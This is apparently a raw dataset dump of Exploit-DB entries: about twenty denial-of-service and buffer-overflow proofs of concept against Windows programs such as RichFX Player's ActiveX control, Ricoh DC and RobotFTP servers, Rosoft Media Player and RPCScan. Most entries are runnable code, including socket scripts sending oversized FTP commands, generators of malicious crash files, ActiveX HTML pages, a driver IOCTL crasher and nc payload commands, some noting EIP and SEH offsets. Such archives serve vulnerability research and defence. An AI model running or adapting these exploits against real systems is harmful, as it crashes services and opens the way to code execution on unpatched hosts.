deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30805
Description: RichFX Basic Player 1.1 - ActiveX Control Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2007-11-25
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26573/info

RichFX Basic Player ActiveX Control is prone a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

Note that RichFX Player ActiveX Control is installed by default with RealNetworks RealPlayer. It may be shipped with other RealNetworks products as well. 

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("RFXInstMgr.RFXInstMgr"); //{47F59200-8783-11D2-8343-00A0C945A819}


     obj.DoInstall(s);
     obj.QueryComponents(s);

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">

 </body>
</html>
Exploit-DB #38052
Description: Ricoh DC (SR10) 1.1.0.8 - Denial of Service
Type: dos
Platform: windows
Date: 2015-09-01
Author: j2x6

Exploit:
# Exploit Title: Rocoh DC FTP (SR10) v1.1.0.8 DoS
# Date: 8/31/2015
# Exploit Author: j2x6
# Vendor Homepage: http://www.ricoh-imaging.co.jp/
# Software Link: http://www.ricoh-imaging.co.jp/english/r_dc/download/sw/win/07.html
# Version: 1.1.0.8
# Tested on: Windows 7
# Offset for Buffer Overflow attempt: 495

#!/usr/bin/python

import socket

badthing= "A" * 81300

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.45.11',21))
s.send(badthing+'\r\n')
s.send(badthing+'\r\n')
s.send('\r\n')
s.send('EXIT\r\n')
s.close()
Exploit-DB #18643
Description: Ricoh DC Software DL-10 SR10 FTP Server (SR10.exe) 1.1.0.6 - Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2012-03-22
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability
# Version:       <= 1.1.0.6
# Date:          2012-02-05
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.ricohpmmc.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Capftpd (former SR-10) is vulnerable too
# Howto:         "Log file name" has to be set

import socket,sys
import os

target="192.168.0.1"
port=21

junk1 = "\x41" * 245
boom = "\x42\x42\x42\x42" 
junk2 = "\x43" * 50

payload = junk1 + boom + junk2

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[*] Connected to " + target + "!"
except:
    print "[!] " + target + " didn't respond\n"
    sys.exit(0)
    
s.recv(1024)
print "[*] Sending malformed request..."
s.send('USER ' + payload + '\r\n')

print "[!] Exploit has been sent!\n"
s.close()
Exploit-DB #14620
Description: RightMark Audio Analyzer 6.2.3 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-11
Author: Oh Yaw Theng

Exploit:
# Exploit Title: RightMark Audio Analyzer 6.2.3 (.sav , .sac) DoS
# Date: 12 / 8 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.topdownloads.net/software/rightmark-audio-analyzer_2_219034.html?hl=&ia=0
# Version: v6.2.3
# Tested on: Windows XP SP 2
# CVE : N / A
# Description : This is the latest version from the official website

#!/usr/bin/python

# Create the malicious .sav or .sac file and boom ! The program crashes ! DEADBEEF !
filename = "crash.sav"

junk = "\x41" * 5000

exploit = junk

textfile = open(filename,'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #15383
Description: Rising - 'RSNTGDI.sys' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-11-02
Author: ze0r

Exploit:
/*
On the net.We can found these file has published a BUG.In that.The BUG has found in CONTROL CODE:0x83003C0B.So.I check these file
in othere CONTROL CODE.Just for fun.....

# Exploit Title: [Rising RSNTGDI.sys Local Denial of Service(CONTROL CODE:83003C13) ]
# Date: [2010.11.1]
# Author: [ ze0r ]
# Version: [Rising 2009.Publish Date:2009.10.13.]
# Tested on: [Windows XPSP3 Chinese Simplified & Windows 2003 Chinese Simplified]
*/


#include "stdio.h"
#include "windows.h"

HANDLE DriverHandle =0; 

void boom(PVOID systembuffer,PVOID userbuffer)
{
	printf("userbuffer Is:%p\n\n",userbuffer);
	printf("The systembuffer Is:%p\n\n",systembuffer);
	DeviceIoControl(DriverHandle, 
	0x83003C13, 
	systembuffer,
	20,
	userbuffer, 
	20,
	(DWORD *)0, 
	0);
	return ; 
}

int main(int argc, char* argv[])
{
	printf("-------------------------------------------------------------------------------\n");
	printf("---------------------------C0ed By:ze0r,Let's ROCK!!---------------------------\n");
	printf("----------------------------------QQ:289791332---------------------------------\n");
	printf("-------------------------------------------------------------------------------\n\n");
	DriverHandle=CreateFile("\\\\.\\rsntgdi", 
	0,
	FILE_SHARE_READ | FILE_SHARE_WRITE , 
	0,
	OPEN_EXISTING,0,0);
	if (DriverHandle == INVALID_HANDLE_VALUE)
	{
		printf("Open Driver Error!\n\n");
		return 0 ; 
	}
	
	printf("OK.Let's Crash It!\n\n");
	getchar();

	boom((PVOID)0x88888888,(PVOID)0x88888888);
	
	return 0;
}
Exploit-DB #11492
Description: Rising Online Virus Scanner 22.0.0.5 - ActiveX Control Stack Overflow (Denial of Service)
Type: dos
Platform: windows
Date: 2010-02-18
Author: wirebonder

Exploit:
# Exploit Title: Rising Online Virus Scanner ActiveX Control DoS (Stack overflow)
# Author: wirebonder
# Software Link: http://www.rising-global.com/products/online-scanner-intro.html
# Tested on: Windows XP sp3


##
# ProgID: 	RavOLCtlLib.RavOnline
# ClassID:	9FAFB576-6933-4CCC-AB3D-B988EC43D04E
# Member: 	Scan()
# File:   	C:\Programme\Rising\RavOL\RavOLCtl.dll
# script safe:	true
# init safe: 	true
#
# Because Bullshit like this is unsaleable and i don't want to waste time
# coordinating patches with this vendor this is a fulldisc publishing.
##

<html>
<body>
<object classid='clsid:9FAFB576-6933-4CCC-AB3D-B988EC43D04E' id='obj'></object>
<script language='vbscript'>
	buf=String(520000, "A")
	obj.Scan buf
</script>
</body>
</html>
Exploit-DB #20783
Description: Rit Research Labs 'The Bat!' 1.x - Missing Linefeeds Denial of Service
Type: dos
Platform: windows
Date: 2001-04-18
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/2636/info

"The Bat!" is an MUA for Windows by Rit Research Labs.

"The Bat!" is vulnerable to a remote denial of service attack. Email messages in which carriage return (CR) characters are not followed by a linefeed (LF) can cause "The Bat!" to incorrectly interpret the message's structure. This can lead "The Bat!" to read text in the message body as a response from the POP3 server. The current (corrupt) message will not be deleted from the server, and the mail download process will stop.

As a result, the user will remain unable to receive new email messages from the affected POP3 account. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20783.zip
Exploit-DB #21307
Description: Rit Research Labs The Bat! 1.53 - Microsoft Denial of Service Device Name Denial of Service
Type: dos
Platform: windows
Date: 2002-02-27
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/4187/info

The Bat! is an e-mail client for Microsoft Windows operating systems.

A problem occurs with The Bat! when it is configured to save attachments seperately from the body of a message. It is possible to include a MS-DOS device name (such as CON, AUX, PRN, etc.) in the filename of the attachment to cause a denial of service to an e-mail client with this configuration.

This appears to be an issue with The Bat! version 1.53d. Earlier versions do not appear to be affected.

bash-2.03$ sendmail -U test@test.com
From: test
To: test
Content-Type: apllication/exe; name=lpt1

Test
Exploit-DB #46322
Description: River Past Audio Converter 7.7.16 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-05
Author: Achilles

Exploit:
# Exploit Title: River_Past_Audio_Converter(DoS)
# Date: 05.02.2019
# Vendor Homepage:www.riverpast.com
# Software Link :https://en.softonic.com/download/river-past-audio-converter/windows/post-download?sl=3D1
# Exploit Author: Achilles
# Tested Version: 7.7.16
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:=20
# 1.- Run python code : River_Past_Audio_Converter.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open River_PastAudio_Converter.exe
# 4.- Paste the content of EVIL.txt into the field: 'E-Mail and Activation Code'
# 5.- Click 'Activate' and you will see a crash.


#!/usr/bin/env python

buffer =3D "\x41" * 3000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #46312
Description: River Past Ringtone Converter 2.7.6.1601 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-04
Author: Rafael Pedrero

Exploit:
# Exploit Title: River Past Ringtone Converter v2.7.6.1601 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.riverpast.com/
# Software Link : http://www.riverpast.com/
# Tested Version: v2.7.6.1601
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run RingtoneConverter.exe
# 2.- copy content RingtoneConverter_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Help" - "Activate..." and paste the result in the "Email" textbox and "Activation code" textarea.
# 4.- Click in Activate button and you will see a crash.


#!/usr/bin/env python


crash = "\x41" * 300
f = open ("RingtoneConverter_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #8404
Description: RM Downloader - '.m3u' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-13
Author: Cyber-Zone

Exploit:
#!/usr/bin/perl
#
#
# *********************************************************
# *  RM Downloader (.M3U File) Local Stack Overflow POC   *
# *********************************************************
#
# Found By : Cyber-Zone (ABDELKHALEK)
# E-mail   : Paradis_des_fous@hotmail.fr
# Home     : WwW.IQ-TY.CoM ; WwW.No-Exploit.CoM
# Greetz   : Hussin X , Jiko (my brother), ZoRLu , Nabilx , Mag!c ompo , Stack ... all mgharba HaCkers and Sec-r1z.com
#
# Download product : http://www.rm-to-mp3.net/downloads/RMDownloader.exe
#
#
# Olly registers
#EAX 00000001
#ECX 7C92056D ntdll.7C92056D
#EDX 00A20000
#EBX 00104A54
#ESP 000FFE3C
#EBP 00333E98 ASCII "C:\Documents and Settings\Administrateur\Bureau\KHAL.m3u"
#ESI 77C2FCE0 MSVCRT.77C2FCE0
#EDI 0000660D
#EIP 41414141
#
my $Header = "#EXTM3U\n";

my $ex="http://"."A" x 26109;# just Poc tested under MS windows SP2 Fr

open(MYFILE,'>>KHAL.m3u');

print MYFILE $Header.$ex;

close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #20656
Description: Robin Twombly A1 HTTP Server 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2001-02-27
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2435/info

It is possible for a remote user to cause a denial of service condition in Robin Twombly A1 Server.

Submitting a specially crafted request via a telnet connection, could cause the A1 server to crash.

A restart of the server is required in order to gain normal functionality. 

echo `perl -e 'print "A" x 1000'` | telnet target
Exploit-DB #23708
Description: RobotFTP Server 1.0/2.0 - 'Username' Buffer Overflow (1)
Type: dos
Platform: windows
Date: 2004-02-16
Author: gsicht

Exploit:
// source: https://www.securityfocus.com/bid/9672/info

A vulnerability has been reported for RobotFTP Server. The problem likely occurs due to insufficient bounds checking when processing 'USER' command arguments of excessive length.

/******************************
this is example code for the vulnerability. It uses the windows ftp client to connect to a server
******************************/
#include <stdio.h>

char buffer[2500];
char cmd[50];

int main(int argc, char *argv[])
{
        FILE *evil;

        if(argv[1] == NULL)
        {
                printf("Usage: %s [IP]\n\n",argv[0]);
                return 0;
        }

        memset(buffer,0x41,47);
        memcpy(buffer+47,"\r\n",2);
        memcpy(buffer+49,"crash",5);
        memcpy(buffer+54,"\r\n",2);
        memcpy(buffer+56,"USER ",5);
        memset(buffer+61,0x41,1989);
        memset(buffer+61+1989,0x58,4);  // << overwrites the eip with XXXX
        memcpy(buffer+65+1989,"\r\n",2);

        sprintf(cmd,"ftp -s:ftp.txt %s",argv[1]);


        if((evil = fopen("ftp.txt", "a+")) != NULL)
        {
                fputs(buffer, evil);
                fclose(evil);
                printf("- file written!\n");
        }
        else
        {
                fprintf(stderr, "ERROR: couldn't open ftp.txt!\n");
                exit(1);
        }
        system(cmd);

}
/*******************************/
Exploit-DB #15260
Description: Rocket Software UniData 7.2.7.3806 - Denial of Service
Type: dos
Platform: windows
Date: 2010-10-15
Author: Luigi Auriemma

Exploit:
Source: http://aluigi.org/adv/unirpcd_1-adv.txt
#######################################################################

                             Luigi Auriemma

Application:  Rocket Software UniData
              http://www.rocketsoftware.com/u2/products/unidata/
Versions:     <= 7.2.7.3806
Platforms:    Windows
Bugs:         various Denial of Service vulnerabilities in unirpcd.exe
Exploitation: remote, versus server
Date:         15 Oct 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


"UniData® is an extended relational data server ideal for embedding in
a variety of industry-focused solutions."


#######################################################################

=======
2) Bugs
=======


The unirpc service listening on port 31438 is affected by various
Denial of Service vulnerabilities regarding the access of invalid zones
of memory.

Although the first vulnerability is a memory corruption problem where
the program calls recv() using a heap buffer and a huge amount of data
to copy (like 0x7fffffe8, decided by the attacker) in my tests it
didn't result exploitable.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/unirpcd_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15260.zip (unirpcd_1.zip)

#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #14685
Description: RockN Wav Editor 1.8 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-18
Author: d4rk-h4ck3r

Exploit:
# Exploit Title: RockN_Wav Editor 1.8 Buffer Overflow (POC)
# Author: d4rk-h4ck3r
# Date: 2010-08-18
# Software Link: http://www.brothersoft.com/rockn_wav-editor-23982.html
# Greetz 2 : PASSEWORD , KAiSER-J , sec4ever , tli7a , All Tun!Sian h4ck3rz
# Spacial thanks 2 : MadjiX 
# Tested on: Windows XP SP3 Fr

$buff="A" x 100000;
open (myfile , ">>d4rk.wav");
print myfile $buff;
close (myfile);
Exploit-DB #17843
Description: Rockwell RSLogix 19 - Denial of Service
Type: dos
Platform: windows
Date: 2011-09-14
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  Rockwell RSLogix
              http://www.rockwellautomation.com/rockwellsoftware/design/rslogix5000/
Versions:     <= 19 (RsvcHost.exe 2.30.0.23)
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"With RSLogix 5000 programming software, you need only one software
package for discrete, process, batch, motion, safety and drive-based
application."


#######################################################################

======
2) Bug
======


RsvcHost.exe and RNADiagReceiver.exe listen on ports 4446 and others.

These services use RnaUtility.dll which doesn't handle the 32bit size
field located in the "rna" packets with results like a memset zero
overflow and invalid read access.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/rslogix_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17843.zip

  nc SERVER 4446 < rslogix_1a.dat
  nc SERVER 4446 < rslogix_1b.dat


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #5122
Description: Rosoft Media Player 4.1.8 - '.m3u' File Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-14
Author: securfrog

Exploit:
####################################################################
#Rosoft Media Player  4.1.8  Remote Buffer Overflow ( .M3U)
#
# @nolife : Pow...Pow ..If you are kind i'll show my set of supers mega Tools, fuzzers ,and all the automated stuff  i use For M3U/ASX/PLS Pow..Pow ...  
# Nolifing is actually a Disease... Do not be mean with nolife's
#
#
#   eax=41414141 ebx=41414141 ecx=00000000 edx=00ba9078 esi=0012eb7c edi=00ba9078
#   eip=00403b9c esp=0012eb4c ebp=0012fb80 iopl=0         nv up ei pl nz na pe nc
#   cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
#   RosoftMediaPlayerFree+0x3b9c:
#   00403b9c 8b10            mov     edx,dword ptr [eax]  ds:0023:41414141=????????
#
#
my $chars= "A" x 4104;
my $file="I_Shot_The_Nolife.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Credits:Securfrog";

# milw0rm.com [2008-02-14]
Exploit-DB #5261
Description: Rosoft Media Player 4.1.8 - RML Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-03-15
Author: Wiktor Sierocinski

Exploit:
Description:
This is nothing special - there is just flaw in Rosoft Media Player 4.1.8, similar to one discovered by Juan Pablo Lopez Yacubian. 
This one concerns RML file. This is Stack Based Buffer Overflow vulerability - we can ovewrite EIP. I hope that it was not reported before. 

Author: Wiktor Sierocinski
POC:

#!/usr/bin/python

content = (
"#EXTINF:Played=0\n" + "A" * 5000 + "\n"
)

fd = open("music.rml","w");
fd.write(content)
fd.close();

print "RML FILE CREATED"

# milw0rm.com [2008-03-15]
Exploit-DB #14601
Description: Rosoft Media Player 4.4.4 - Buffer Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2010-08-10
Author: anonymous

Exploit:
#rosoft media player 4.4.4 SEH buffer overflow POC
#vulnerble application link http://download.cnet.com/Rosoft-Media-Player/3000-2139_4-10044022.html
#tested on XP SP2

#!/usr/bin/python

filename = "crash.m3u"


junk = "\x41" * 4500

textfile = open(filename , 'w')
textfile.write(junk)
textfile.close()
Exploit-DB #39775
Description: RPCScan 2.03 - Hostname/IP Field Crash (PoC)
Type: dos
Platform: windows
Date: 2016-05-06
Author: Irving Aguilar

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Exploit Title     	: RPCScan v2.03 Hostname/IP Field Local BoF PoC
# Discovery by      	: Irving Aguilar
# Email			: im.aguilar@protonmail.ch
# Discovery Date    	: 05.05.2016
# Software Link     	: http://www.mcafee.com/us/downloads/free-tools/rpcscan.aspx#
# Tested Version    	: 2.03
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS		: Windows 7 Enterprise SP1 x64 en
#
#
# Steps to Produce the Crash: 
# 1.- Run python code : python RPCScan-BoF.py
# 2.- Open RPCScan-BoF.txt and copy content to clipboard
# 3.- Open RPCScan2.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
 
buffer = "\x41" * 388
eip = "\x42" * 4
 
f = open ("RPCScan-BoF.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #39789
Description: RPCScan 2.03 - Hostname/IP Field Overwrite (SEH) (PoC)
Type: dos
Platform: windows
Date: 2016-05-09
Author: Nipun Jaswal

Exploit:
#!/usr/bin/python
# Exploit Title     : RPCScan v2.03 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 08/05/2016
# Vendor Homepage   : http://samspade.org
# Software Link     : http://www.mcafee.com/in/downloads/free-tools/rpcscan.aspx#
# Tested Version    : 2.03
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address    SE handler
#0012FAA0   43434343
#42424242   *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
Exploit-DB #48729
Description: RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-08-04
Author: Luis Martínez

Exploit:
# Exploit Title: RTSP for iOS 1.0 - 'IP Address' Denial of Service (PoC)
# Author: Luis Martinez
# Discovery Date: 2020-08-03
# Vendor Homepage: https://appadvice.com/app/rtsp-viewer/[PII_REDACTED]
# Software Link: App Store for iOS devices
# Tested Version: 1.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 13.5.1

# Steps to Produce the Crash:
# 1.- Run python code: RTSP_Viewer_for_iOS_1.0.py
# 2.- Copy content to clipboard
# 3.- Open "RTSP Viewer for iOS"
# 4.- Touch the screen
# 5.- Clic add (+)
# 6.- Name > "l4m5"
# 7.- Paste ClipBoard on "IP Address"
# 8.- Clic Back
# 9.- Message save is successed > OK
# 10.- Click created connection (AAAA...)
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 450
print (buffer)